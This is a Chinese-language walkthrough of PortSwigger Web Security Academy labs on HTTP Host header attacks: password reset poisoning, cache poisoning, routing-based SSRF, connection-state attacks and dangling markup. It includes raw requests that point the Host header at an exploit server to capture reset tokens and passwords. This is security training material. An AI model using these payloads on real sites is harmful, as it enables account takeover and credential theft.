https://portswigger.net/web-security/host-header#what-is-an-http-host-header-attack
在本节中,我们将讨论错误配置和有缺陷的业务逻辑如何通过 HTTP 主机标头使网站遭受各种攻击。我们将概述用于识别易受 HTTP 主机标头攻击的网站的高级方法,并演示如何利用此方法进行以下类型的攻击:
密码重置中毒 实验室
Web 缓存中毒 实验室
利用经典的服务器端漏洞
绕过 实验室认证
虚拟主机暴力破解
基于路由的 SSRF LABS
连接状态攻击 实验室
### 实验要求:
该实验室容易受到密码重置中毒的影响。用户carlos会不小心点击他收到的电子邮件中的任何链接。要解决实验室问题,请登录卡洛斯的帐户。
您可以使用以下凭据登录您自己的帐户:wiener:peter。发送到此帐户的任何电子邮件都可以通过漏洞利用服务器上的电子邮件客户端进行读取。
### 实验操作:
转到登录页面并注意“忘记密码?” 功能。请求为您自己的帐户重置密码。
转到漏洞利用服务器并打开电子邮件客户端。请注意,您已收到一封电子邮件,其中包含重置密码的链接。请注意,URL 包含查询参数temp-forgot-password-token。
单击该链接并观察系统提示您输入新密码。将您的密码重置为您想要的任何内容。
在 Burp 中,研究 HTTP 历史。请注意,该POST /forgot-password请求用于触发密码重置电子邮件。其中包含将其密码重置为主体参数的用户名。将此请求发送到 Burp Repeater。
在 Burp Repeater 中,观察到您可以将 Host 标头更改为任意值,并且仍然成功触发密码重置。返回电子邮件服务器并查看您收到的新电子邮件。请注意,电子邮件中的 URL 包含您的任意主机标头,而不是通常的域名。
返回 Burp Repeater,将 Host 标头更改为漏洞利用服务器的域名 ( YOUR-EXPLOIT-SERVER-ID.exploit-server.net) 并将username参数更改为carlos。发送请求。
转到您的漏洞利用服务器并打开访问日志。您将看到一个请求GET /forgot-password,其temp-forgot-password-token参数包含 Carlos 的密码重置令牌。记下此标记。
转到您的电子邮件客户端并复制第一封电子邮件中的真实密码重置 URL。在浏览器中访问此 URL,但将重置令牌替换为从访问日志中获取的令牌。
将卡洛斯的密码更改为您想要的任何内容,然后登录以carlos解决实验室问题。
注销用户wiener:来到登陆功能查看到忘记密码功能:
/forgot-password?temp-forgot-password-token=n7ffa8q4ph4fo6xe8dm5se2qk2y4btgs
自己的密码修改连接替换为目标用户carlos的token,进行密码修改:
https://0aa800880469a6b080532192009f00a3.web-security-academy.net/forgot-password?temp-forgot-password-token=ox79jwe6oqs0t6mho2e63exv33op67qb
最终:
https://0aa800880469a6b080532192009f00a3.web-security-academy.net/forgot-password?temp-forgot-password-token=n7ffa8q4ph4fo6xe8dm5se2qk2y4btgs
重置目标用户密码后登陆成功:
### 实验要求:
本实验根据 HTTP 主机标头对用户的权限级别进行假设。
要解决该实验,请访问管理面板并删除用户carlos。
### 实验操作:
GET /将收到 200 响应的请求 发送到 Burp Repeater。请注意,您可以将 Host 标头更改为任意值,并且仍然可以成功访问主页。
浏览/robots.txt并观察到有一个管理面板,位于/admin。
尝试浏览到/admin. 您无权访问,但请注意错误消息,该消息表明本地用户可以访问该面板。
将GET /admin请求发送到 Burp Repeater。
在 Burp Repeater 中,将 Host 标头更改为localhost并发送请求。请注意,您现在已成功访问管理面板,其中提供了删除不同用户的选项。
将请求行更改为GET /admin/delete?username=carlos并发送删除请求carlos以解决实验室问题。
### 实验要求:
由于缓存和后端应用程序处理不明确请求的方式存在差异, 该实验室容易受到Web 缓存中毒的影响。毫无戒心的用户会定期访问该网站的主页。
要解决该实验室问题,请毒害缓存,以便主页alert(document.cookie)在受害者的浏览器中执行。
### 实验操作:
将收到 200 响应的请求发送GET /到 Burp Repeater 并研究实验室的行为。观察网站验证 Host 标头。篡改后,您仍然无法访问主页。
在原始响应中,请注意详细的缓存标头,它会告诉您何时获得缓存命中以及缓存的响应有多旧。将任意查询参数添加到您的请求中以充当缓存破坏器,例如GET /?cb=123. 每次您希望从后端服务器获得新响应时,只需更改此参数即可。
请注意,如果您添加具有任意值的第二个 Host 标头,则在验证和路由请求时这似乎会被忽略。至关重要的是,请注意,第二个 Host 标头的任意值反映在用于从 导入脚本的绝对 URL 中/resources/js/tracking.js。
删除第二个主机标头并使用相同的缓存破坏器再次发送请求。请注意,您仍然收到包含注入值的相同缓存响应。
转到漏洞利用服务器并创建一个/resources/js/tracking.js包含有效负载的文件alert(document.cookie)。存储漏洞并复制漏洞服务器的域名。
返回 Burp Repeater,添加第二个 Host 标头,其中包含您的漏洞利用服务器域名。该请求应如下所示:
GET /?cb=123 HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
发送请求几次,直到您获得响应中反映的漏洞利用服务器 URL 的缓存命中。要模拟受害者,请在 URL 中使用相同的缓存破坏程序来请求浏览器中的页面。确保alert()火灾。
在 Burp Repeater 中,删除所有缓存破坏程序并继续重放请求,直到重新毒害缓存为止。当受害者访问主页时,实验室就被解决了。
### 实验要求:
该实验容易通过主机标头 受到基于路由的SSRF攻击。您可以利用此漏洞访问位于内部 IP 地址上的不安全的 Intranet 管理面板。
要解决该实验,请访问位于范围内的内部管理面板192.168.0.0/24,然后删除用户carlos。
### 实验操作:
GET /将收到 200 响应的请求 发送到 Burp Repeater。
在 Burp Repeater 中,选择 Host 标头值,右键单击并选择插入 Collaborator 负载以将其替换为 Collaborator 域名。发送请求。
转到“协作者”选项卡并单击“立即投票”。您应该在表中看到一些网络交互,包括 HTTP 请求。这确认您能够向任意服务器发出网站的中间件请求。
将请求发送 GET /给 Burp Intruder。
转到 Burp Intruder 并选择“位置”选项卡。
取消选择更新主机标头以匹配目标。
删除主机标头的值并将其替换为以下 IP 地址,并将有效负载位置添加到最后的八位字节:
Host: 192.168.0.§0§
在有效负载选项卡上,选择有效负载类型Numbers。在有效负载设置下,输入以下值:
From: 0
To: 255
Step: 1
单击开始攻击。警告将通知您主机标头与指定的目标主机不匹配。由于我们是故意这样做的,因此您可以忽略此消息。
攻击完成后,单击“状态”列对结果进行排序。请注意,单个请求收到了 302 响应,将您重定向到/admin. 将此请求发送到 Burp Repeater。
在 Burp Repeater 中,将请求行更改为GET /admin并发送请求。在响应中,您会看到您已成功访问管理面板。
研究删除用户的表单。请注意,它将生成一个带有CSRF令牌和参数POST的请求。您需要手动创建一个等效的删除请求。 /admin/deleteusernamecarlos
将请求中的路径更改为/admin/delete. 从显示的响应中复制 CSRF 令牌,并将其作为查询参数添加到您的请求中。还添加一个username包含 的参数carlos。请求行现在应如下所示,但具有不同的 CSRF 令牌:
GET /admin/delete?csrf=QCT5OmPeAAPnyTKyETt29LszLL7CbPop&username=carlos
从显示的响应中的标头复制会话 cookie Set-Cookie,并将其添加到您的请求中。
右键单击您的请求并选择更改请求方法。Burp 会将其转换为POST请求。
carlos发送删除并解决实验室的 请求。
### 实验要求:
由于对请求目标主机的解析 存在缺陷,该实验室容易受到基于路由的SSRF 的影响。您可以利用此漏洞访问位于内部 IP 地址的不安全的 Intranet 管理面板。
要解决该实验,请访问位于范围内的内部管理面板192.168.0.0/24,然后删除用户carlos。
### 实验操作:
将收到 200 响应的请求发送GET /到 Burp Repeater 并研究实验室的行为。请注意,网站会验证 Host 标头并阻止任何已修改 Host 标头的请求。
请注意,您还可以通过在请求行中提供绝对 URL 来访问主页,如下所示:
GET https://YOUR-LAB-ID.web-security-academy.net/
请注意,执行此操作时,修改 Host 标头不会再导致您的请求被阻止。相反,您会收到超时错误。这表明正在验证绝对 URL 而不是主机标头。
使用Burp Collaborator确认您可以通过这种方式向任意服务器发出网站的中间件请求。例如,以下请求将触发对您的 Collaborator 服务器的 HTTP 请求:
GET https://YOUR-LAB-ID.web-security-academy.net/
Host: BURP-COLLABORATOR-SUBDOMAIN
右键单击并选择插入 Collaborator 有效负载,以在请求中指示的位置插入 Burp Collaborator 子域。
将包含绝对 URL 的请求发送到 Burp Intruder。
转到 Burp Intruder 并选择“位置”选项卡。
取消选择更新主机标头以匹配目标。
使用 Host 标头扫描 IP 范围192.168.0.0/24以识别管理界面的 IP 地址。将此请求发送到 Burp Repeater。
在 Burp Repeater 中,附加/admin到请求行中的绝对 URL 并发送请求。请注意,您现在可以访问管理面板,包括用于删除用户的表单。
将请求中的绝对 URL 更改为指向/admin/delete。从显示的响应中复制CSRF令牌,并将其作为查询参数添加到您的请求中。还添加一个username包含 的参数carlos。请求行现在应如下所示,但具有不同的 CSRF 令牌:
GET https://YOUR-LAB-ID.web-security-academy.net/admin/delete?csrf=QCT5OmPeAAPnyTKyETt29LszLL7CbPop&username=carlos
从显示的响应中的标头复制会话 cookie Set-Cookie,并将其添加到您的请求中。
右键单击您的请求并选择“更改请求方法”。Burp 会将其转换为POST请求。
carlos发送删除并解决实验室的 请求。
fuzz内部主机:
### 实验要求:
该实验容易通过主机标头 受到基于路由的SSRF攻击。尽管前端服务器最初可能会执行主机标头的可靠验证,但它会根据收到的第一个请求对连接上的所有请求做出假设。
要解决该实验,请利用此行为访问位于 的内部管理面板192.168.0.1/admin,然后删除用户carlos。
### 实验操作:
将GET /请求发送到 Burp Repeater。
进行以下调整:
将路径更改为/admin.
Host将标题 更改为192.168.0.1.
发送请求。请注意,您只是被重定向到主页。
复制选项卡,然后将两个选项卡添加到新组中。
选择第一个选项卡并进行以下调整:
将路径更改回/.
将Host标题更改回YOUR-LAB-ID.h1-web-security-academy.net.
使用发送 按钮旁边的下拉菜单,将发送模式更改为按顺序发送组(单连接)。
将Connection标题更改为keep-alive.
发送序列并检查响应。观察第二个请求已成功访问管理面板。
研究响应并观察管理面板包含用于删除给定用户的 HTML 表单。记下以下详细信息:
动作属性 ( /admin/delete)
输入的名称 ( username)
令牌csrf。
在组中的第二个选项卡上,使用这些详细信息来复制提交表单时将发出的请求。结果应该是这样的:
POST /admin/delete HTTP/1.1
Host: 192.168.0.1
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: CORRECT
csrf=YOUR-CSRF-TOKEN&username=carlos
通过单个连接按顺序发送请求来解决实验问题。
访问主页:404
略…
### 实验要求:
该实验室很容易因悬挂标记而受到密码重置中毒的影响。要解决实验室问题,请登录卡洛斯的帐户。
您可以使用以下凭据登录您自己的帐户:wiener:peter。发送到此帐户的任何电子邮件都可以通过漏洞利用服务器上的电子邮件客户端进行读取。
### 实验操作:
转到登录页面并请求为您自己的帐户重置密码。
进入漏洞利用服务器,打开邮件客户端,找到密码重置邮件。请注意,电子邮件中的链接仅指向通用登录页面,并且 URL 不包含密码重置令牌。相反,新密码会直接在电子邮件正文中发送。
在代理历史记录中,研究对请求的响应GET /email。请注意,电子邮件的 HTML 内容被写入字符串,但DOMPurify在浏览器呈现之前会使用库对其进行清理。
在电子邮件客户端中,请注意,您可以选择以原始 HTML 形式查看每封电子邮件。与电子邮件的渲染版本不同,这似乎没有经过任何处理。
将POST /forgot-password请求发送到 Burp Repeater。观察到篡改 Host 标头中的域名会导致服务器错误。但是,您可以将任意非数字端口添加到主机标头,并且仍然可以正常访问该站点。发送此请求仍会触发密码重置电子邮件:
Host: YOUR-LAB-ID.web-security-academy.net:arbitraryport
在电子邮件客户端中,检查电子邮件的原始版本。请注意,注入的端口在链接内反映为未转义的单引号字符串。随后是新密码。
再次发送POST /forgot-password请求,但这次使用端口来打破字符串并注入指向您的漏洞利用服务器的悬空标记有效负载:
Host: YOUR-LAB-ID.web-security-academy.net:'<a href="//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/?
检查电子邮件客户端。您应该收到一封新电子邮件,其中大部分内容丢失。转到漏洞利用服务器并检查访问日志。请注意,有一个以 开头的请求条目 GET /?/login'>[…],其中包含电子邮件正文的其余部分,包括新密码。
在Burp Repeater中,最后一次发送请求,但将username参数更改为carlos。刷新访问日志并从相应的日志条目中获取Carlos的新密码。
使用此新密码登录carlos来解决实验问题
邮箱看到的恶意标签如下:
重置目标用户carlos的密码:
### portswigger官方:host头攻击:
https://portswigger.net/web-security/host-header#what-is-an-http-host-header-attack
### 关于Host头的一些漏洞
https://blog.csdn.net/weixin_59571952/article/details/126087359
### 一文讲解HTTP报头攻击
https://mp.weixin.qq.com/s/VELsItUdDQCkNzIjyLGOdw
### Host头注入
https://mp.weixin.qq.com/s/c2CawipYaC1JqqMMZ2QaPw
### owasp:Host Header Injection
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection
### PayloadsAllTheThings:
https://github.com/swisskyrepo/PayloadsAllTheThings